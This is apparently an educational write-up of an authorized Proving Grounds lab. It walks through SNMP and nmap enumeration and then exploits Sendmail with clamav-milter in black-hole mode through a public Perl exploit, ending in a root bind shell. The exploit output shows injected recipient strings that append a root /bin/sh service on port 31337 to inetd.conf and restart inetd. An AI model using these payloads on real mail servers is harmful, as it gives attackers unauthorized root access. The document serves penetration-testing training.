Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
Engage in exploiting a remote command execution vulnerability in Sendmail with clamav-milter, a ClamAV filter. This exercise enhances your skills in vulnerability detection and remote exploitation techniques.
Scenario
This lab demonstrates the exploitation of a remote code execution vulnerability in Sendmail configured with clamav-milter in black-hole mode. Learners will use a public exploit to open a bind shell on the target server, granting root access. This exercise focuses on service enumeration, exploitation of vulnerable configurations, and post-exploitation techniques.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate open ports and services using Nmap and SNMP-based tools.
- Identify the ClamAV clamav-milter configuration through service enumeration.
- Use the provided Perl exploit to exploit the Sendmail remote command execution vulnerability.
- Verify successful exploitation by connecting to the bind shell as root.
- Understand the risks of misconfigured email services in production environments.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
## checking for UDP
(kali㉿kali)-[~/offsec/clamav]
# Map exposed services and versions on the target.
└─$ nmap -sU -p 161 192.168.160.42
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-13 19:01 -0400
Nmap scan report for 192.168.160.42
Host is up (0.023s latency).
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 0.85 seconds- SNMP-check
Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
| ssh-hostkey:
| 1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA)
|_ 1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA)
25/tcp open smtp Sendmail 8.13.4/8.13.4/Debian-3sarge3
| smtp-commands: localhost.localdomain Hello [192.168.45.205], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP
|_ 2.0.0 This is sendmail version 8.13.4 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation send email to 2.0.0 sendmail-bugs@sendmail.org. 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info
80/tcp open http Apache httpd 1.3.33 ((Debian GNU/Linux))
|_http-server-header: Apache/1.3.33 (Debian GNU/Linux)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Ph33r
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
199/tcp open smux Linux SNMP multiplexer
445/tcp open netbios-ssn Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
60000/tcp open ssh OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
| ssh-hostkey:
| 1024 30:3e:a4:13:5f:9a:32:c0:8e:46:eb:26:b3:5e:ee:6d (DSA)
|_ 1024 af:a2:49:3e:d8:f2:26:12:4a:a0:b5:ee:62:76:b0:18 (RSA)This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ snmp-check 192.168.160.42 -p 161
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 192.168.160.42:161 using SNMPv1 and community 'public'
...
...
3777 runnable clamav-milter /usr/local/sbin/clamav-milter --black-hole-mode -l -o -q /var/run/clamav/clamav-milter.ctl
...
...This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/clamav/CVE-2007-2447]
# Execute the next evidence-gathering step in the authorized lab.
└─$ searchsploit clamav milter
------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------------
ClamAV Milter - Blackhole-Mode Remote Code Execution (Metasp | linux/remote/16924.rb
ClamAV Milter 0.92.2 - Blackhole-Mode (Sendmail) Code Execut | multiple/remote/9913.rb
Sendmail with clamav-milter < 0.91.2 - Remote Command Execut | multiple/remote/4761.pl
------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsThis block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
(kali㉿kali)-[~/offsec/clamav/CVE-2007-2447]
# Execute the next evidence-gathering step in the authorized lab.
└─$ perl 4761.pl 192.168.160.42
Sendmail w/ clamav-milter Remote Root Exploit
Copyright (C) 2007 Eliteboy
Attacking 192.168.160.42...
220 localhost.localdomain ESMTP Sendmail 8.13.4/8.13.4/Debian-3sarge3; Sat, 13 Jun 2026 22:58:23 -0400; (No UCE/UBE) logging access from: [192.168.45.205](FAIL)-[192.168.45.205]
250-localhost.localdomain Hello [192.168.45.205], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-DELIVERBY
250 HELP
250 2.1.0 <>... Sender ok
250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok
250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok
354 Enter mail, end with "." on a line by itself
250 2.0.0 65E2wNP1004208 Message accepted for delivery
221 2.0.0 localhost.localdomain closing connectionPrivilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# The output confirms the effective user and privilege level of the current session.
## We can see a bind shell on port 31337
/bin/bash -i
bash: no job control in this shell
root@0xbabe:/# id
uid=0(root) gid=0(root) groups=0(root)
root@0xbabe:/#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.